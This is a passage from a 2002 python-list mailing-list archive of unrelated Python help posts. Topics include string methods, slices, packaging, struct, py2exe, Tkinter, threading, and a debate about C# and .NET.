v1.0.7 (GNU/Linux) iD8DBQE832ZFd90bcYOAWPYRAoksAJ9uIopv5Q8Iu9L/7YCLWyxW+5lrBgCg3cWT hWumeZbGerzFB9TY9ZjHEu8= =iThd -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From llothar at web.de Tue May 7 10:30:38 2002 From: llothar at web.de (Lothar Scholz) Date: Tue, 07 May 2002 16:30:38 +0200 Subject: Pychecker plugins? References: <3CCF6541.50402@yumpee.org> Message-ID: On Tue, 30 Apr 2002 22:47:13 -0500, Manoj Plakal wrote: > >Pychecker gurus, > >Are there any plans for allowing user-written plugins for Pychecker? > >Right now, it seems that Pychecker traverses Python code and >performs a fixed list of checks. It would be cool to expose >a plugin API so that users can write their own specific >checkers e.g., to confirm with local style guides, and not >have to burrow into Pychecker source code to do this. > >And perhaps this could open the door to more than just checking, >one can imagine plugins transforming the traversed code to >implement profiling, or pre-post-condition-checking etc. >Bordering on what one might do with metaclasses or aspect-oriented >programming. Having Pychecker be a generic Python code-object >traverser-cum-transformer would be powerful. But with the current python modules it is very easy to do this. So i think there is no need to add this features to PyChecker. Its purpose is to check it for errors - but a plugin would be nice and could offer some advantages. From duncan at NOSPAMrcp.co.uk Thu May 30 09:48:20 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 13:48:20 +0000 (UTC) Subject: Where can I find .join() in the docs References: Message-ID: "Ruediger Maehl" wrote in news:newscache$0hdxwg$4oi$1 at www-neu.dzsh.de: > Hello Pythoneers, > > could anyone please point me to the piece of documentation > where I can find a description of .join() and all the others? > > R?diger > Read the Python library reference, section 2.2.6.1 'String Methods' and you will probably find much of the rest of section 2.2 of interest as well. or (Python 2.2), at the interactive prompt type: >>> help(str.join) Help on method_descriptor: join(...) S.join(sequence) -> string Return a string which is the concatenation of the strings in the sequence. The separator between elements is S. >>> help(str) gives you a complete list of all str methods, but includes a lot of internal stuff you probably don't care about. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From DeepBleu at DeepBleu.org Fri May 17 12:52:03 2002 From: DeepBleu at DeepBleu.org (DeepBleu) Date: Fri, 17 May 2002 11:52:03 -0500 Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> Message-ID: "Robert Plant" wrote in message news:1021653047.71194.0 at demeter.uk.clara.net... > Hi, > > I am sorry if this seems a stupid post but i really dont know how to do > it..... > > I would like to configure IIS 5 to use python cgi scripts. > > I have set up the registry to use the "c:\\python.exe" -u %s %s > A question about this, i created a new string value called .py is this > right?? > > I am confused as to where to put the python script in IIS, and how to > reference the python location in windows, i have only used it in linux > before, ie !#/usr/bin...... > Please check your IIS documentation. You have to configure a directory as a virtual directory and allow it to run scripts. Also, in addition to the registry you have to configure PY as a scripting language. Both of these things can be configured from the IIS management console. Please check the IIS documentation before asking an IIS related question (since your question is not related to Python) on the wrong newsgroup. DeepBleu From jeff at ccvcorp.com Thu May 2 15:21:42 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 2 May 2002 12:21:42 -0700 Subject: Python vs. Perl, which is better to learn? References: <20020501192102.11396.83978.Mailman@mail.python.org> Message-ID: In article , hancock at anansispaceworks.com says... > A slightly less trivial example was a problem in which my > partner had recorded a bunch of business transactions in > a comma-separated list in what turned out to be the wrong > order. She wanted to flip everything around and compute > sums over it. Note that (if I understand your description properly) this would take approx. 3-5 minutes to do using Excel or another decent spreadsheet application -- import the CSV, move columns/rows around, save as CSV again. And compute your sums while you're at it. Once again, the right tools for the job... ;) -- Jeff Shannon Technician/Programmer Credit International From aleax at aleax.it Thu May 2 06:10:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 10:10:48 GMT Subject: Slice objects with negative increment References: Message-ID: Paul Hughett wrote: ... > :> mini-problem: Given i and j such that j > i >= 0, write a snippet of > :> code to construct a slice object that selects elements j-1, j-2, ..., > :> i. If I understand the interpretation of slices correctly, i = 0 must > :> be treated as a special case and the code must look something like > :> > :> if i == 0 : > :> slc = slice(j, None, -1) > :> else : > :> slc = slice(j, i, -1) ... > It is necessary to special-case it even if I do know the length of the > sequence involved. Why ever would it be? slice(j-L-1, i-L-1, -1) works per your stated constraints and requirements for a sequence of length L, obviously. > 0. I'm a careful programmer and know the -n convention for indices, Then maybe you're noticing something I'm not, given that this seems so obvious to me while you keep insisting some specialcasing is needed. Please instruct me. Given L >= j (a constraint now added by knowing the length L of the sequence involved), isn't it obvious that j-L-1 is < 0? This would appear to me to be a pretty simple disequation manipulation. And thus since i Message-ID: "David LeBlanc" wrote in news:mailman.1022178791.2145.python-list at python.org: > I downloaded a package - let's call it "fumble" - and when I installed > it, it put itself into site-packages directly and not a sub-directory > of it. Since I want to keep the site-packages directory clean, I > created a subdirectory called fumble and copied all the fumble files > into it. I added an empty __init__.py file and it didn't work. Only > after I added the line "from fumble import *" to the __init__ file did > it work. did't it work with an empty __init__.py but importing "fumble.fumble" ? the import * you use is needed no get rid of the additional hiearchy level which you created throug you subdir. > Is this the correct way that packages are meant to work? I kind of > doubt it, but looking over the pythondoc failed to suggest any > alternative (my solution was a lucky guess). Comments and pointers to > good doc appreciated. i'm using something like that in my pyserial package. __init__.py decides which platform its running on and imports * from a platform dependant source file. chris -- Chris From loewis at informatik.hu-berlin.de Wed May 8 12:36:11 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 18:36:11 +0200 Subject: XML (XHTML) character entities and PxXml References: Message-ID: andrew at acooke.org (andrew cooke) writes: > > That is supposed to work; you'll need to provide details to analyse > > what went wrong. [...] > Now at work, here are the details: I see. That turns out to be a problem in PyXML; please try the attached patch (to expatreader). With that, your entity resolver is first asked to resolve the DTD. You don't have to resolve this to the true DTD, since expat still won't perform validation. Instead, you could resolve this to some local file that just contains the entity definitions. I personally had some problems with expat processing the XHTML DTD, which I haven't analysed further. Removing large-enough chunks from the DTD eventually allowed me to process your example successfully. HTH, Martin Index: expatreader.py =================================================================== RCS file: /cvsroot/pyxml/xml/xml/sax/expatreader.py,v retrieving revision 1.21 diff -u -r1.21 expatreader.py --- expatreader.py 5 Apr 2002 17:06:33 -0000 1.21 +++ expatreader.py 8 May 2002 16:18:01 -0000 @@ -250,6 +250,7 @@ # self._parser.DefaultHandlerExpand = # self._parser.NotStandaloneHandler = self._parser.ExternalEntityRefHandler = self.external_entity_ref + self._parser.SetParamEntityParsing(expat.XML_PARAM_ENTITY_PARSING_UNLESS_STANDALONE) self._parsing = 0 self._entity_stack = [] From peter at engcorp.com Fri May 17 22:11:34 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 22:11:34 -0400 Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> Message-ID: <3CE5B856.D1150BCC@engcorp.com> Matthew Diephouse wrote: > > I have the following perl code, which I'm trying to translate to python: > > my $out = hex( shift(@_) ); > $out = pack("N", $out); > > However, I can't figure out how to pack the hex value. I always get an > error: "required argument is not an integer". Python's pack doesn't have > an "N" format, but I think I could use "l!" Help? Please? Please post your code and the exception traceback so we can tell what the problem is directly, rather than guessing. By the way, does this help?: >>> import struct >>> struct.pack('l', '5') Traceback (most recent call last): File "", line 1, in ? struct.error: required argument is not an integer >>> struct.pack('l', 5) '\x05\x00\x00\x00' And you know about the documentation for struct, right? It tells what "l" means, and the others. And did you really mean "!l"? http://www.python.org/doc/current/lib/module-struct.html -Peter From ak at silmarill.org Wed May 29 23:46:29 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Thu, 30 May 2002 03:46:29 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: In article , Alexander Schmolck wrote: > Simon Budig writes: > >> Hi. >> >> I currently have problems to let code inside strings execute as I want >> to have it. Especially the difference between "eval" and "exec" >> (resp. compiling as 'eval' or as 'single') makes me headache. >> I want to execute things like the three following strings: >> >> "a = 2" ---> returns nothing >> "3 * 4" ---> returns 12 >> "a=2; b=3; a*b" ---> returns 6 > > > The distiction is quite simple: use eval for expressions and exec for > everything else. That of course only works if you know what qualifies as an > expression in python :) > > Maybe this helps: an expression is something that returns a value, so anything > you can write on the right side of an '=' is an expression (unless it already > has an "=" in it) and everything you can't isn't. So only example 2 above is > an expression. If you have an expression, use eval, else use exec, which will > execute arbitrary code in the dictionary you specify with "in" (default > globals, but I'd never use that). > Thanks! I knew the difference between expressions and statements but I'd always forget it. Now I'll remember it goes on the right side of an equal sign. The simplest explanation is often the best and most memorable :-). - Andrei -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From aleax at aleax.it Sun May 12 13:11:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 17:11:29 GMT Subject: add_command References: Message-ID: <5nxD8.33442$CN3.1163150@news2.tin.it> Gorny wrote: > Hi, > > Is there a way of doing something so a menu-command can call > the callback function with (more) or other arguments?? Sure, you're just looking for a special case of currying as covered in http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52549 . > So you could use instead of this: > > status = Menu() > status.add_command(label='wh00t', command=self.func) > > something like: > > status.add_command(label='wh00t', command=self.func, > argskeyword=tuple_containing_args) If it's a tuple it's unlikely to hold _keyword_ arguments -- more likely it will hold positional ones, no? Anyway, the special-case you need is something line (in Python 2.2, or 2.1 with "from __future__ import nested_scopes"): def curry(func, *args, **kwds): def curried(): return func(*args, **kwds) return curried then you'll call something like status.add_command(label='wh00t', command=curry(self.func, *tuple_containing_args)) Alex From mgilfix at eecs.tufts.edu Thu May 16 18:03:00 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Thu, 16 May 2002 18:03:00 -0400 Subject: beginner question: extending python types In-Reply-To: ; from mwh@python.net on Thu, May 16, 2002 at 10:04:53AM +0000 References: <3CE318F4.5030506@horvath.com> Message-ID: <20020516180300.B19159@eecs.tufts.edu> This is one of those places where 'True' will really shine methinks. -- Mike On Thu, May 16 @ 10:04, Michael Hudson wrote: > Bob Horvath writes: > > > Jeremy Yallop wrote: > > > * Uwe Mayer > > > | I found Python lacking the type of a "set". i.e. an unordered list. > > > Use a dictionary, with the same value (1) for every key. > > > > > > > Is there any significance to the value 1? > > In this context, no. It might be a tad confusing to have something > that was false, so None, 0 and () might be bad choices. But I don't > think there's a good reason. -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From peter at engcorp.com Mon May 20 13:04:57 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 13:04:57 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: <3CE92CB9.64943F1F@engcorp.com> Fran?ois Pinard wrote: > > [Aahz] > > > In article <87sn4n6gz9.fsf at kursk.kassube.de>, > > Nils Kassube wrote: > > > >Multithreading is a very big stability risk if you don't know exactly > > >what you are doing, i.e. most programmers most of the time. > > > Depends what you're trying to do. > > Multi-threading has been very welcome in some of my projects. However, I'm > rather uncomfortable about precisely knowing whether various Python usages > are atomic or not, and which parts of the Python library are thread-safe. > Someone once suggested: "Try, and you will see!". The fact that something > works never proves it is correct, nor that it will always work. Short of > precise documentation on these things, I feel a bit lost when I observe lack > of stability. So I sometimes abuse of this thread-off option in my things. Nothing is atomic except sending messages to a Queue. At least, if you start with that premise you probably can't go wrong... In what types of applications have you observed instability, and can you describe the types of thread interaction you were using? Maybe it would be instructive for beginners to learn alternative, known-clean approaches to solving the same problems. -Peter From fredrik at pythonware.com Thu May 2 02:15:47 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 02 May 2002 06:15:47 GMT Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: bvdpoel at uniserve.com wrote: > I figured that struct.pack('b', var) might work ... but var can't be a > list and the fmt string has to be the right size. So, I can do something > like: > > struct.pack('bbb', v1, v2, v3) >>> struct.pack("b"*len(x), *x) '\x01\x02\x03\x04\x05' but if you're working with arrays, it probably makes more sense to use the built-in array module: >>> import array >>> array.array("B", x).tostring() '\x01\x02\x03\x04\x05' or you could use map/join: >>> import string >>> string.join(map(chr, x), "") also see: http://www.python.org/doc/essays/list2str.html From philh at comuno.freeserve.co.uk Mon May 20 03:14:29 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Mon, 20 May 2002 08:14:29 +0100 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> Message-ID: On Mon, 20 May 2002 05:30:02 GMT, Tim Daneliuk wrote: > >I am hopeful that both .NET and Jython (as well as other such efforts) >yield meaningful results. As far as I can tell, the only meaningful result from .NET is to cause one degree of separation between Bill's fingers and your wallet, should you be unwise enough to use it. >.NET particularly ought to be view with great scepticism, IMO. It seems >clear to me that, for commercial reasons, the real focus of the CLR will >be C# which does not really meet the 'multi-paradigm' requirement. It's been said that some languages are invented to make a point, and other languages are invented to get a job done. An example of the 1st category might be Pascal; examples of the 2nd might be C and C++. To the best of my knowledge(*), C# is the only high-level language designed explicitly to lock programmers in to a vendor. (*) Which isn't that great, and I suspect langauges such as PL/1 had a similar motivation. -- <"><"><"> Philip Hunt <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From pyth at devel.trillke.net Fri May 3 14:31:15 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 20:31:15 +0200 Subject: Sleep command In-Reply-To: References: <3CD25A92.70005@lucent.com> Message-ID: <20020503183115.GD4604@devel.trillke> Jeff Shannon wrote: > In article , > holger krekel says... > > [Brian Nulty Fri, May 03, 2002 at 10:38:26AM +0100] > > Brian> The "sleep" command is not working for me in Jython 2.1. The > > Brian> specification is: > > Brian> > > Brian> sleep(30); # to sleep for 30 seconds > > > > import time > > time.sleep(30) > > > > and time should stand still for 30 seconds. > > btw, i would rather call it 'statement','command' or 'code' than > > 'specification'. > > Picking nits here, but I would call it a function, because that > is exactly what it is. I most certainly would *not* call it a > statement -- that term has a definite meaning in this context, > and sleep() is *not* a statement. :) picking nits here, but how is 'sleep(30)' or 'time.sleep(30)' a function? In my view calling it - statement refers to the view of the parser Stmt([Discard(CallFunc(Name('sleep'), [Const(30)], None, None))]) - command refers to the imperative nature of this thing (it is not a declaration or 'specification'). "Sleep now!" - code is general slang for everything feedable to compiler/interpreter "grok this..." nit picking is what many of us ware best at on this list, i guess. After all it often makes a difference :-) holger From whisper at oz.net Mon May 20 21:53:48 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 18:53:48 -0700 Subject: "One Bullet is never enough" Paper In-Reply-To: Message-ID: Also worth noting is that C# has COM intimately embedded in it and COM is not free on (Li|U)nix. What's the big deal about C# anyway? It's mostly just Java slathered with COM and marketing hype. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Patrick > Sent: Monday, May 20, 2002 18:25 > To: python-list at python.org > Subject: Re: "One Bullet is never enough" Paper > > > > "Kragen Sitaker" wrote in message > news:838z6epblf.fsf at panacea.canonical.org... > > "Patrick" writes: > > > Submitting the language to a standards body and opening it up to other > > > implementors is hardly a clever way to lock programmers into > a specific > > > vendor. > > > > It's an excellent way to get programmers to use it. ECMA does not > > require that the standardized technology be patent-free, and Microsoft > > has declared their intention to make it not patent-free. > > Eek! I wasn't aware of that. Can you point me to a reference? > If this is the case, they've just lost one potential user. > > > The ultimate > > result will be that the patents will issue in a couple of years, at > > which point you will be able to compete with Microsoft's .NET by > > producing a compatible implementation as long as Microsoft finds it > > convenient to allow you to do so, or as long as you don't need to sell > > in the US. This is the clever way to lock programmers into a specific > > vendor. > > I guess it always pays to watch one's step with Microsoft. > > The first time they release something technically interesting, it > turns out > to be booby-trapped ... What a pity. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From cliechti at gmx.net Sat May 11 14:24:37 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 20:24:37 +0200 Subject: searching files References: Message-ID: "zweistein" wrote in news:abjm4j$lmd$1 at bagan.srce.hr: > "Chris Liechti" wrote in message > news:Xns920BB71141B16cliechtigmxnet at 62.2.16.82... >> please provide more information about your data structure and what >> exactly you want to search (names, numbers etc) and you will get more >> useful feedback from this group. > > Well, I am storing every entry in a file. It stores only the name and > the telephone number, and is tab delimited (name surname [TAB] tel.). in the spirit of ReiserFS (he says you would need a database if your filesystem would be good enough)... a file per entry... oh well, surely a possibility but not the simplest. (storing all addresses in the same file, one line per address, tab delimited entries per line would be simpler) you could also laod and save pickled python data i.e. save the whole address list in a file and open it on the next run. that way you don't have to encode/decode textfiles yourself. > I am trying to write a function to which a searchstring would be > passed which would look into the entire file and show the entry that > matches. I would like it to search both names and tel. numbers. load all addresses in a list then search though the list. with one line per file: for filename in os.listdir('databasedir') addressList = [] addressList.append(open(filename).read().split('\t')) this gives you a list of lists like: addressList = [ ['chris', '1234'], ['zweistein', '1234'], ] so you can search: for name,number in addressList: if name == 'chris': print name, number break #found one, don't search for more else: print "no matching entries found" as you see there is no errorchecking in the above bits, for a real usabel programm one should check for illegal entries etc. a more advanced approch using classes could also be interesting... chris -- Chris From jiri at baum.com.au Fri May 31 04:05:51 2002 From: jiri at baum.com.au (Jiri Baum) Date: Fri, 31 May 2002 18:05:51 +1000 Subject: Is python really slow? References: <83adqsis0w.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker: >> Python catches these errors and tells you about them, so you don't need >> to post to a newsgroup to find out what went wrong. Iain Truskett: > Well, Perl catches the file errors, and it lets you handle them however > you like. If you don't handle them, then it won't. It can also catch the > others - you just have to ask it to. Sometimes you may not want it to. Admittedly, there is an advantage in the default being "abort with stack trace" rather than "ignore silently". Python can do "ignore silently", but you have to specifically ask it to. Jiri -- Jiri Baum http://www.csse.monash.edu.au/~jirib MAT LinuxPLC project --- http://mat.sf.net --- Machine Automation Tools From skip at pobox.com Fri May 31 10:52:39 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 31 May 2002 09:52:39 -0500 Subject: Python IDE In-Reply-To: <243B0DEBCADE6147A9495B54C45290E03D1B99@ILNORT1MSGUSR02.ITServices.sbc.com> References: <243B0DEBCADE6147A9495B54C45290E03D1B99@ILNORT1MSGUSR02.ITServices.sbc.com> Message-ID: <15607.36407.482861.505740@12-248-41-177.client.attbi.com> Barron> If you look at the "Commercial Exits" section in the lower left Barron> of the main Python.org page, you'll see links to a few of the Barron> commercial IDEs available (and some other stuff as well). Not to mention which, several IDEs are listed on the Python editors page: http://www.python.org/editors/ -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam - http://www.musi-cal.com/~skip/netflix.html From cprinos at foliage.com Wed May 15 20:05:43 2002 From: cprinos at foliage.com (Chris Prinos) Date: Thu, 16 May 2002 00:05:43 GMT Subject: py2exe and tricky imports Message-ID: I have a set of python applications running under the ActiveState Python 2.1 distribution in a win32 environment and am trying to use py2exe to create a standalone executable. For the simple cases, I can get it to work, but I am running into problems with certain dependant modules not being found. In particular, it fails to find varius modules from the xml package (PyXML is installed), mxDateTime and mxODBC. I've seen some previous posts that say this is due to the way these packages manipulate the default import mechanisms, but none of the comments or suggested solutions seemed to help. In the mxODBC doc, for example, it says: "When freezing mxODBC you may experience problems with py2exe related to py2exe not finding the DLLs needed by mxODBC. In this case you have to help py2exe to find the correct subpackage for Windows. This can be done by adding -i mx.ODBC.Windows,mx.DateTime to the py2exe command line: python py2exe -i mx.ODBC.Windows,mx.DateTime yourapp.py. After doing so, py2exe should have no problem finding the files mxODBC.pyd and mxDateTime.pyd needed by mx.ODBC.Windows and mx.DateTime" I tried doing this, along with other variations such as "python setup.py py2exe -p _xmlplus,mx" to bring in the entire packages, as well as experimenting with --force-imports, but have not had too much luck. If anyone has run into this and found a solution, I'd love to hear about it. Chris An example of the (final) warnings from py2exe log are below: warning: py2exe: ************************************************************************* warning: py2exe: * The following modules were not found: warning: py2exe: * xml.dom.HierarchyRequestErr warning: py2exe: * win32com.client.NeedUnicodeConversions warning: py2exe: * mxDateTime.__version__ warning: py2exe: * mx.DateTime.Timestamp warning: py2exe: * xml.dom.Node warning: py2exe: * mx.DateTime.DateFromTicks warning: py2exe: * win32com.client.Dispatch warning: py2exe: * mx.DateTime.Date warning: py2exe: * mx.DateTime.Time warning: py2exe: * mx.DateTime.TimestampFromTicks warning: py2exe: * mxTools.__version__ warning: py2exe: * mx.DateTime.tz_offset warning: py2exe: * mx.DateTime.TimeFromTicks warning: py2exe: ************************************************************************* From spam at fisher.forestry.uga.edu Mon May 27 11:47:11 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 27 May 2002 08:47:11 -0700 Subject: Why no libpython2.x.so in redhat? References: Message-ID: I'm just trying to figure out why my program is running fine on Debian, but not on RedHat. Here's some simple code that illustrates what is not working: #include #include int main() { PyArrayObject *parray; int dimensions[1]; Py_Initialize(); dimensions[0]=10; parray = (PyArrayObject *)PyArray_FromDims(1,dimensions,PyArray_DOUBLE); Py_Finalize(); return 0; } The program segfaults when it calls PyArray_FromDims. The strace doesnt give ME any clues, but then again, I'm not a very good C programmer: fstat64(3, {st_mode=S_IFREG|0755, st_size=234649, ...}) = 0 open("/usr/lib/python2.2/site-packages/Numeric/_numpy.so", O_RDONLY) = 4 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p-\0\000"..., 1024) = 1024 fstat64(4, {st_mode=S_IFREG|0755, st_size=234649, ...}) = 0 old_mmap(NULL, 77632, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40014000 mprotect(0x40025000, 8000, PROT_NONE) = 0 old_mmap(0x40025000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0x10000) = 0x40025000 close(4) = 0 munmap(0x40014000, 77632) = 0 close(3) = 0 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++ martin at v.loewis.de (Martin v. Loewis) wrote in message news:... > spam at fisher.forestry.uga.edu (Chris Fonnesbeck) writes: > > > I'm looking for someone out there who develops on RedHat who can help > > me out: Why are there no libpython .so files on the redhat builds? It > > is creating problems for me when trying to run python embedded in C. > > It seems that my program looks for the .so files, and not finding > > them, dies. > > That is a bug in your program. It should not be looking for such a > file, since Python does not provide one. > > Can you elaborate *why* your program is looking for such a file? > > Regards, > Martin From kwokng at earthlink.net Mon May 6 12:11:56 2002 From: kwokng at earthlink.net (Billy Ng) Date: Mon, 06 May 2002 16:11:56 GMT Subject: References: <3CD61492.BD6F207C@engcorp.com> Message-ID: Thanks guys! I have one more question. In the xml doc, I have already defined How come it still returns me unicode? Billy Ng "Peter Hansen" wrote in message news:3CD61492.BD6F207C at engcorp.com... > Billy Ng wrote: > > > > Hi folks, > > > > I notice the node.getAttribute() returns the unicode type string. How can I > > cast it to string type? > > >>> u = u'string' > >>> dir(u) > [..., 'count', 'encode', 'endswith', ... ] > >>> u.encode('iso-8859-1') > 'string' > >>> u.encode('latin-1') > 'string' > >>> u.encode('utf-8') > 'string' > >>> 'string'.decode('utf-8') > u'string' > > The specific encoding you use is up to you. If the attribute contains > only ASCII characters (ordinal value less than 128), any of the above > should do. > > -Peter From trentm at ActiveState.com Tue May 28 12:51:21 2002 From: trentm at ActiveState.com (Trent Mick) Date: Tue, 28 May 2002 09:51:21 -0700 Subject: Uninstall of ActivePython 2.1 / Install 2.2 not complete In-Reply-To: ; from Sibylle.Koczian@Bibliothek.Uni-Augsburg.de on Tue, May 28, 2002 at 12:46:50PM +0200 References: Message-ID: <20020528095121.A25909@ActiveState.com> [Sibylle Koczian wrote] > Hello, > > I'm using ActivePython 2.2 on a Windows 2000 machine. I uninstalled > ActivePython 2.1 and installed the new version as administrator. Using it as > a normal user I couldn't start my scripts from the Windows Commander as > before, and they appeared without their icon. > > Searching the registry I found lots of keys in HKEY_CURRENT_USER pointing to > the directory of the old, deleted Python version. Changing them to the new > directory did the trick; but I think they should have been deleted at > uninstall time, for all users, not only for the installing administrator. > > What's the matter? Is it an uninstall or an install problem? It sounds like an uninstall problem. Let me try to clarify a little bit. - You had installed ActivePython 2.1 as an UNPRIVILEDGED user, i.e. NOT as Administrator. (Was it ActivePython 2.1.1 or ActivePython 2.1.3? What was the ActivePython build number (the three digit number)?) This might have added registry entries under HKEY_CURRENT_USER, instead of HKEY_LOCAL_MACHINE (you need Admin priviledges to add registry entries there). - Then you tried to uninstall it, except you were logged in as Administrator now, right? This *should* have removed all relevant registry entries under HKEY_CURRENT_USER *if* you uninstalled it as the same user that installed it. I suppose it should have removed those entries even if you uninstalled it as the Administrator, though it is very likely that it did not. I don't even know if it is possible to change HKEY_CURRENT_USER registry entries for a user *other* than the one you are logged in as. It is for reasons like this that it is recommended that ActivePython always be installed with Administrator priviledges. - Then you installed ActivePython 2.2 as Administrator. (I presume this was ActivePython 2.2.1 build 222, right?) There is no real way for this install to go and make sure there are no conflicting registry entries under any user's HKEY_CURRENT_USER. Does that make sense? Cheers, Trent -- Trent Mick TrentM at ActiveState.com From usawargamer at yahoo.com Tue May 7 19:27:30 2002 From: usawargamer at yahoo.com (BHE) Date: 7 May 2002 16:27:30 -0700 Subject: Whats so good about Python? Message-ID: <8580b02e.0205071527.5b6ce52f@posting.google.com> People have said good things about Python but Ive never used it. I use Perl and Java and C++. My question is: What does Python offer me over Perl? I dont use object oriented Perl (which I consider innapropriate) and dont want a hackers approach. If Python is a superior languiage thats here to stay, and a better language than Perl I'll consider learning it. I use Perl for scripting, file manipulation, database retrieveal and stuffing, report generation. (I'm not looking to provoke a fight between Perl and Python backers. I'd like to know what Pythons strengths and weaknesses are). From rob Mon May 20 16:52:53 2002 From: rob (Rob Andrews) Date: Mon, 20 May 2002 20:52:53 GMT Subject: Jython Swing Basics article Message-ID: http://uselesspython.com/Jython_Swing_Basics.html With help from the Jython Users email list, I've written what seems to be a pretty good second draft newbie article on Jython & swing for Useless Python. Its best qualities are probably brevity and simplicity, showing how to solicit user input, process it, and return a result using swing for GUI components. There's probably plenty of room for improvement, but it may be of some use for those of humble programming experience (such as myself), and it does feature a few images of what one should expect to see from the code. I present it for anyone interested and for constructive criticism. Thanks, Rob Andrews http://uselesspython.com From chris at localhost.localdomain Thu May 23 23:08:57 2002 From: chris at localhost.localdomain (Chris) Date: 23 May 2002 20:08:57 -0700 Subject: Tkinter not working Message-ID: Hi, I've tried to install the latest Python 2.1 and its fine and the Tkinter test works fine but whenever i try to load an image in it it won't work. For PNGs it tells me the files doesn't exist, but it does, and for TIFFs it says it isn't a valid TIFF. Is there anything I can do? I'm on Mandrake Linux 8.1. Thanks From kseehof at neuralintegrator.com Fri May 31 22:28:57 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 31 May 2002 19:28:57 -0700 Subject: Generating unique numbers? In-Reply-To: <20020531195255.A2297@unpythonic.net> Message-ID: Jeff wrote: > On Fri, May 31, 2002 at 05:37:23PM -0700, Ken Seehof wrote: > > In the case of multiple computers, you would combine > > the machine id with id(x). If you are allowed long > > integers or tuples or 64 bit integers, that's trivial. > > You might have to be clever to get it into 32 bits > > reliably. > > It seems very likely that there have been more than 2**32 distinct objects > generated in runs of Python programs across all the computers on the 'net. > In fact, it seems very likely that some machines have generated more than > 2**32 distinct objects (across several processes and some time) since even > a fairly modest machine can successfully execute 'range(2**24)'. If you > want to talk about internet-accessible machines and use their IP > address as > part of the key, you'll run into two problems. First, many machines > probably have the IP address "10.0.0.1", which is part of a reserved space > that many people are encouraged to use by ISPs that use some form of NAT > for their clients. Second, even if you ignore this problem you are left > with a space of 2**32 with some relatively small number of addresses that > you know cannot be used (according to the old class-system of IP networks > you can determine some number <2**25 of broadcast and network addresses), > it seems unlikely that you could get a unique network ID into less than 31 > bits. That'll give you 2**(31+24) unique objects that might exist > at any one time. But as I tried to imply above, it's likely that some > machines will run at least 2**10 processes during their lifetime, giving > 2**(31+24+10) IDs (probably some machines will run 2**10 processes per > hour, which would be 1 hit per 3 seconds running Python as a CGI script). > But now we've gotten to 65 bits of a unique id... > > Of course, this 65-bit space will be quite sparse, but somewhere there's a > machine that will use up each of the allocated fields, so you can't shave > much off. > > So I don't think you could do a unique object identifier in 64 bits, with > the requirement that it be unique over all processes in all > machines on the > internet. > > Jeff Which brings us right back to my assertion that the original question cannot be answered adequately without knowing the context. Presumably if the application in question had the scope you are describing (we don't even know if it's an internet application), VanL would have a team of 40 expert programmers at $450K salaries solving the problem, so we are off the hook :-) - Ken Seehof From markus.vonehr at ipm.fhg.de Mon May 27 03:21:43 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Mon, 27 May 2002 09:21:43 +0200 Subject: Tkinter image problems References: Message-ID: <3CF1DE87.F912E4C@ipm.fhg.de> Hi Chris, convert the image into GIF format (you can use PIL) and try it loading again using Tkinter. Chris schrieb: > Hi, I posted a few days ago about problems getting images to work in Tkinter > > The Tkinter test routine runs fine, but when I try to load in images it > won't work > > Here's how i'm loading a TIFF: > from Tkinter import * > > class GF_control: > def __init__(self): > # Initialize TK > self.root = Tk() > self.root.config(height=300, width=400) > > # Load image > p = PhotoImage() > p.config(file='bla.tif') > > # Make label > splash = Label(self.root) > splash.pack() > > self.root.mainloop() > > if 1: > f = GF_control() > > And here's the error I get: > Traceback (most recent 